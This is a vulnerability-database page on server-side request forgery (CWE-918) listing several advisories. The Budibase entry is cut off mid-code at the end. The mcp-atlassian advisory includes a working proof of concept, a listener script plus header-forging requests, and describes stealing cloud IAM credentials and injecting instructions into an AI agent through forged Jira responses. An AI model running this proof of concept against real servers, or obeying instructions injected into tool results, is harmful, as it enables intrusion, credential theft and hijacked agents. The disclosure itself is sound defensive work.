Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5974 vulnerabilities reference this CWE, most recent first.

GHSA-7Q69-VMCQ-34W9

Vulnerability from github – Published: 2025-03-29 00:31 – Updated: 2025-03-31 21:32
VLAI
Details

maccms10 v2025.1000.4047 is vulnerable to Server-Side Request Forgery (SSRF) in the Collection Custom Interface feature.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-28090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-28T22:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "maccms10 v2025.1000.4047 is vulnerable to Server-Side Request Forgery (SSRF) in the Collection Custom Interface feature.",
  "id": "GHSA-7q69-vmcq-34w9",
  "modified": "2025-03-31T21:32:45Z",
  "published": "2025-03-29T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28090"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/xo5w1euakvtgenex"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7Q86-93HF-8CC3

Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-04-04 01:34
VLAI
Details

An SSRF issue was discovered in HTTPD on MicroDigital N-series cameras with firmware through 6400.0.8.5 via FTP commands following a newline character in the uploadfile field.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-14704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-06T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An SSRF issue was discovered in HTTPD on MicroDigital N-series cameras with firmware through 6400.0.8.5 via FTP commands following a newline character in the uploadfile field.",
  "id": "GHSA-7q86-93hf-8cc3",
  "modified": "2024-04-04T01:34:48Z",
  "published": "2022-05-24T16:52:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14704"
    },
    {
      "type": "WEB",
      "url": "https://pastebin.com/PSyqqs1g"
    },
    {
      "type": "WEB",
      "url": "https://www.microdigital.ru"
    },
    {
      "type": "WEB",
      "url": "http://www.microdigital.co.kr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7Q9Q-GP64-8J9M

Vulnerability from github – Published: 2026-09-18 09:31 – Updated: 2026-09-18 09:31
VLAI
Details

A server-side request forgery (SSRF) vulnerability in PersonMail API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to obtain non-sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-40537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T09:16:41Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability in PersonMail API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to obtain non-sensitive information.",
  "id": "GHSA-7q9q-gp64-8j9m",
  "modified": "2026-09-18T09:31:09Z",
  "published": "2026-09-18T09:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40537"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_26_06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7QC7-MCJV-JR2H

Vulnerability from github – Published: 2024-04-17 03:30 – Updated: 2024-04-17 03:30
VLAI
Details

IBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 24.0.0.3 are vulnerable to server-side request forgery (SSRF). By sending a specially crafted request, an attacker could exploit this vulnerability to conduct the SSRF attack. X-Force ID: 279951.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-22329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-17T02:15:10Z",
    "severity": "MODERATE"
  },
  "details": "\nIBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 24.0.0.3 are vulnerable to server-side request forgery (SSRF). By sending a specially crafted request, an attacker could exploit this vulnerability to conduct the SSRF attack.  X-Force ID:  279951.\n\n",
  "id": "GHSA-7qc7-mcjv-jr2h",
  "modified": "2024-04-17T03:30:37Z",
  "published": "2024-04-17T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22329"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/279951"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7148380"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7QF6-H84J-8FQ4

Vulnerability from github – Published: 2026-03-03 22:21 – Updated: 2026-03-03 22:21
VLAI
Summary
OpenClaw: Microsoft Teams media fetch paths bypass shared SSRF guard model
Details

Impact

Microsoft Teams media handling used mixed fetch paths for Graph metadata/content and attachment auth-retry flows. Some paths bypassed the shared SSRF guard model and created inconsistent host/DNS enforcement across redirect/fetch hops.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published vulnerable version: 2026.2.25
  • Affected range: <= 2026.2.25
  • Planned patched version for next release: 2026.2.26

Technical Details

The Microsoft Teams attachment/media code previously relied on plugin-local fetch behavior in parts of the flow, instead of uniformly using shared guarded fetch logic with pinned DNS + policy checks. This could allow policy drift and SSRF boundary inconsistency between channel/plugin paths.

The fix unifies this path by: - routing Microsoft Teams Graph message/hosted-content/attachment fetches through shared SSRF-guarded fetch paths, - routing auth-scope fallback attachment downloads through the same guarded policy model, - centralizing hostname-suffix allowlist policy helpers in plugin-sdk so channel/plugins use the same allowlist normalization and policy construction behavior.

Fix Commit(s)

  • 57334cd7d85174d5f951de01114fd5801b063564

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.25"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T22:21:59Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Impact\nMicrosoft Teams media handling used mixed fetch paths for Graph metadata/content and attachment auth-retry flows. Some paths bypassed the shared SSRF guard model and created inconsistent host/DNS enforcement across redirect/fetch hops.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published vulnerable version: `2026.2.25`\n- Affected range: `\u003c= 2026.2.25`\n- Planned patched version for next release: `2026.2.26`\n\n## Technical Details\nThe Microsoft Teams attachment/media code previously relied on plugin-local fetch behavior in parts of the flow, instead of uniformly using shared guarded fetch logic with pinned DNS + policy checks. This could allow policy drift and SSRF boundary inconsistency between channel/plugin paths.\n\nThe fix unifies this path by:\n- routing Microsoft Teams Graph message/hosted-content/attachment fetches through shared SSRF-guarded fetch paths,\n- routing auth-scope fallback attachment downloads through the same guarded policy model,\n- centralizing hostname-suffix allowlist policy helpers in `plugin-sdk` so channel/plugins use the same allowlist normalization and policy construction behavior.\n\n## Fix Commit(s)\n- `57334cd7d85174d5f951de01114fd5801b063564`\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-7qf6-h84j-8fq4",
  "modified": "2026-03-03T22:21:59Z",
  "published": "2026-03-03T22:21:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7qf6-h84j-8fq4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/57334cd7d85174d5f951de01114fd5801b063564"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Microsoft Teams media fetch paths bypass shared SSRF guard model"
}

GHSA-7R34-79R5-RCC9

Vulnerability from github – Published: 2026-03-10 18:48 – Updated: 2026-03-10 18:48
VLAI
Summary
MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers
Details

Summary

An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details

The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.

No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.

Trigger conditions — all four must hold: 1. Server running with --transport streamable-http or --transport sse 2. Request contains X-Atlassian-Jira-Url header (any non-empty value) 3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value) 4. Request has no Authorization header

An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.

Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448): ```python # When service headers are present and no Authorization header is provided, # auth type is set to "pat" but user_atlassian_token is NOT set. # This is what routes execution to the vulnerable path below. if service_headers and (jira_token_str and jira_url_str): scope["state"]["user_atlassian_auth_type"] = "pat"

Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217): if ( user_auth_type == "pat" and jira_url_header # attacker-controlled, no validation and jira_token_header and not hasattr(request.state, "user_atlassian_token") ): header_config = JiraConfig( url=jira_url_header, # used directly, no allowlist check personal_token=jira_token_header, ... ) header_jira_fetcher = JiraFetcher(config=header_config) header_jira_fetcher.get_current_user_account_id() # ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request

PoC

Step 1 - Start a listener to capture the inbound SSRF request:

# listener.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, sys

class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr) print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr) self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() if "myself" in self.path: self.wfile.write(json.dumps({ "accountId": "ssrf-confirmed", "displayName": "SSRF PoC" }).encode()) else: self.wfile.write(b"{}") def log_message(self, *args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):

JIRA_URL=https://placeholder.atlassian.net \ JIRA_API_TOKEN=placeholder \ mcp-atlassian --transport streamable-http --port 8000

Step 3 — Trigger the SSRF:

import httpx, json

MCP = "http://localhost:8000/mcp" ATTACK = "http://:8888"

# Initialize MCP session r = httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0"}}, "id": 1 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", # No Authorization header — this is the key condition }) sid = r.headers.get("mcp-session-id")

# Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}}, "id": 2 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", "Mcp-Session-Id": sid, })

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.

Impact

This vulnerability affects any deployment using --transport streamable-http or --transport sse. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

  • Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices) not directly reachable from outside the network.
  • AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
  • Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:48:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer \u2014 not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (`169.254.169.254`). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.\n\n### Details\nThe server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (`src/mcp_atlassian/servers/main.py:436\u2013448`) extracts `X-Atlassian-Jira-Url` from the request and stores it in request state with no validation. The dependency provider (`src/mcp_atlassian/servers/dependencies.py:189\u2013217`) then uses this value directly as the `url=` parameter when constructing a `JiraConfig` and `JiraFetcher`. The first method call on the fetcher (`get_current_user_account_id()`) immediately issues a `GET` request to `{header_url}/rest/api/2/myself` \u2014 an outbound SSRF call to the attacker-controlled URL.\n\nNo comparison is made against the server-configured `JIRA_URL` environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.\n\n  **Trigger conditions \u2014 all four must hold:**\n  1. Server running with `--transport streamable-http` or `--transport sse`\n  2. Request contains `X-Atlassian-Jira-Url` header (any non-empty value)\n  3. Request contains `X-Atlassian-Jira-Personal-Token` header (any non-empty value)\n  4. Request has **no** `Authorization` header\n\n  An identical vulnerability exists for Confluence at `dependencies.py:341\u2013393` via `X-Atlassian-Confluence-Url` +\n  `X-Atlassian-Confluence-Personal-Token`.\n\n  **Root cause - middleware** (`src/mcp_atlassian/servers/main.py:436\u2013448`):\n  ```python\n  # When service headers are present and no Authorization header is provided,\n  # auth type is set to \"pat\" but user_atlassian_token is NOT set.\n  # This is what routes execution to the vulnerable path below.\n  if service_headers and (jira_token_str and jira_url_str):\n      scope[\"state\"][\"user_atlassian_auth_type\"] = \"pat\"\n\n  Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189\u2013217):\n  if (\n      user_auth_type == \"pat\"\n      and jira_url_header           # attacker-controlled, no validation\n      and jira_token_header\n      and not hasattr(request.state, \"user_atlassian_token\")\n  ):\n      header_config = JiraConfig(\n          url=jira_url_header,      # used directly, no allowlist check\n          personal_token=jira_token_header,\n          ...\n      )\n      header_jira_fetcher = JiraFetcher(config=header_config)\n      header_jira_fetcher.get_current_user_account_id()\n      # ^ GET {jira_url_header}/rest/api/2/myself \u2014 outbound SSRF call\n      request.state.jira_fetcher = header_jira_fetcher  # cached for all tool calls this request\n\n\n### PoC\nStep 1 - Start a listener to capture the inbound SSRF request:\n\n  # listener.py\n  from http.server import HTTPServer, BaseHTTPRequestHandler\n  import json, sys\n\n  class Handler(BaseHTTPRequestHandler):\n      def do_GET(self):\n          print(f\"[SSRF RECEIVED] Path: {self.path}\", file=sys.stderr)\n          print(f\"[SSRF RECEIVED] Headers: {dict(self.headers)}\", file=sys.stderr)\n          self.send_response(200)\n          self.send_header(\"Content-Type\", \"application/json\")\n          self.end_headers()\n          if \"myself\" in self.path:\n              self.wfile.write(json.dumps({\n                  \"accountId\": \"ssrf-confirmed\",\n                  \"displayName\": \"SSRF PoC\"\n              }).encode())\n          else:\n              self.wfile.write(b\"{}\")\n      def log_message(self, *args): pass\n\n  HTTPServer((\"0.0.0.0\", 8888), Handler).serve_forever()\n\nStep 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient \u2014 the vulnerable path is reached before any real Atlassian instance is contacted):\n\n  JIRA_URL=https://placeholder.atlassian.net \\\n  JIRA_API_TOKEN=placeholder \\\n  mcp-atlassian --transport streamable-http --port 8000\n\n  Step 3 \u2014 Trigger the SSRF:\n\n  import httpx, json\n\n  MCP    = \"http://localhost:8000/mcp\"\n  ATTACK = \"http://\u003clistener-ip\u003e:8888\"\n\n  # Initialize MCP session\n  r = httpx.post(MCP, json={\n      \"jsonrpc\": \"2.0\", \"method\": \"initialize\",\n      \"params\": {\"protocolVersion\": \"2024-11-05\", \"capabilities\": {},\n                 \"clientInfo\": {\"name\": \"poc\", \"version\": \"1.0\"}},\n      \"id\": 1\n  }, headers={\n      \"X-Atlassian-Jira-Url\": ATTACK,\n      \"X-Atlassian-Jira-Personal-Token\": \"any-value\",\n      # No Authorization header \u2014 this is the key condition\n  })\n  sid = r.headers.get(\"mcp-session-id\")\n\n  # Call any Jira tool \u2014 this triggers get_jira_fetcher() and the outbound SSRF call\n  httpx.post(MCP, json={\n      \"jsonrpc\": \"2.0\", \"method\": \"tools/call\",\n      \"params\": {\"name\": \"jira_get_issue\", \"arguments\": {\"issue_key\": \"PROJ-1\"}},\n      \"id\": 2\n  }, headers={\n      \"X-Atlassian-Jira-Url\": ATTACK,\n      \"X-Atlassian-Jira-Personal-Token\": \"any-value\",\n      \"Mcp-Session-Id\": sid,\n  })\n\n  The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.\n\n\n### Impact\nThis vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.\n\n  - Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)\n  not directly reachable from outside the network.\n  - AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker\u0027s server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent\u0027s context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.\n  - Cloud deployments: Any network-reachable attacker can potentially steal the server\u0027s IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.",
  "id": "GHSA-7r34-79r5-rcc9",
  "modified": "2026-03-10T18:48:46Z",
  "published": "2026-03-10T18:48:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/5cd697dfce9116ef330b8dc7a91291640e0528d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers"
}

GHSA-7R3R-J3VR-C4W6

Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31
VLAI
Details

Server-side request forgery (ssrf) in Microsoft Entra ID Entitlement Management allows an unauthorized attacker to perform spoofing over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-35431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-23T22:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "Server-side request forgery (ssrf) in Microsoft Entra ID Entitlement Management allows an unauthorized attacker to perform spoofing over a network.",
  "id": "GHSA-7r3r-j3vr-c4w6",
  "modified": "2026-04-24T00:31:51Z",
  "published": "2026-04-24T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35431"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35431"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R5X-3969-58XR

Vulnerability from github – Published: 2026-02-16 06:31 – Updated: 2026-02-16 06:31
VLAI
Details

A vulnerability was detected in lintsinghua DeepAudit up to 3.0.3. This issue affects some unknown processing of the file backend/app/api/v1/endpoints/embedding_config.py of the component IP Address Handler. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.0.4 and 3.1.0 is capable of addressing this issue. The patch is named da853fdd8cbe9d42053b45d83f25708ba29b8b27. It is suggested to upgrade the affected component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-16T04:15:52Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was detected in lintsinghua DeepAudit up to 3.0.3. This issue affects some unknown processing of the file backend/app/api/v1/endpoints/embedding_config.py of the component IP Address Handler. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.0.4 and 3.1.0 is capable of addressing this issue. The patch is named da853fdd8cbe9d42053b45d83f25708ba29b8b27. It is suggested to upgrade the affected component.",
  "id": "GHSA-7r5x-3969-58xr",
  "modified": "2026-02-16T06:31:29Z",
  "published": "2026-02-16T06:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/issues/144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/pull/145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/commit/da853fdd8cbe9d42053b45d83f25708ba29b8b27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/releases/tag/v3.0.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.346120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.346120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.748220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7R9G-V72R-PRMJ

Vulnerability from github – Published: 2025-08-04 18:30 – Updated: 2025-08-04 18:30
VLAI
Details

A vulnerability classified as critical was found in givanz Vvveb up to 1.0.5. This vulnerability affects unknown code of the file /vadmin123/?module=editor/editor of the component Drag-and-Drop Editor. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.0.6 is able to address this issue. The patch is identified as f684f3e374d04db715730fc4796e102f5ebcacb2. It is recommended to upgrade the affected component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-04T18:15:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in givanz Vvveb up to 1.0.5. This vulnerability affects unknown code of the file /vadmin123/?module=editor/editor of the component Drag-and-Drop Editor. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.0.6 is able to address this issue. The patch is identified as f684f3e374d04db715730fc4796e102f5ebcacb2. It is recommended to upgrade the affected component.",
  "id": "GHSA-7r9g-v72r-prmj",
  "modified": "2025-08-04T18:30:38Z",
  "published": "2025-08-04T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/commit/f684f3e374d04db715730fc4796e102f5ebcacb2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/releases/tag/1.0.6"
    },
    {
      "type": "WEB",
      "url": "https://hkohi.ca/vulnerability/9"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.318646"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.318646"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.624973"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7R9J-R86Q-7G45

Vulnerability from github – Published: 2026-04-03 21:34 – Updated: 2026-04-03 21:34
VLAI
Summary
Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist
Details

1. Summary

Field Value
Title SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration
Product Budibase
Version 3.30.6 (latest stable as of 2026-02-25)
Component REST Datasource Integration + Backend-Core Blacklist Module
Severity Critical
Attack Vector Network
Privileges Required Low (Builder role, or QUERY WRITE for execution of pre-existing queries)
User Interaction None
Affected Deployments All self-hosted instances without explicit BLACKLIST_IPS configuration (believed to be the vast majority)

2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLIST_IPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.

This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer


3. Root Cause Analysis

3.1 Blacklist Implementation

File: packages/backend-core/src/blacklist/blacklist.ts

// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
  const blacklist = env.BLACKLIST_IPS           // ← reads BLACKLIST_IPS
